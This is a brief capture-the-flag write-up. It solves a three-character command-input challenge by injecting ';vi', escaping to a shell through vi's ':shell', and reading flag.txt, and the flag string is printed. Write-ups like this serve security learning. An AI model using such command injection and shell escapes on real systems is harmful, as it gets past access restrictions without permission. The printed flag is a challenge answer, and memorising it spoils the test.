A simple escape from limited ls command or three chars, so went with

`;vi`

then simply used the shell from vi

`:shell`

and run ls and cat for the flag

```
ls
flag.txt
pwn5
cat flag.txt
gigem{r37urn_0r13n73d_pr4c71c3}
```

FLAG:

> gigem{r37urn_0r13n73d_pr4c71c3}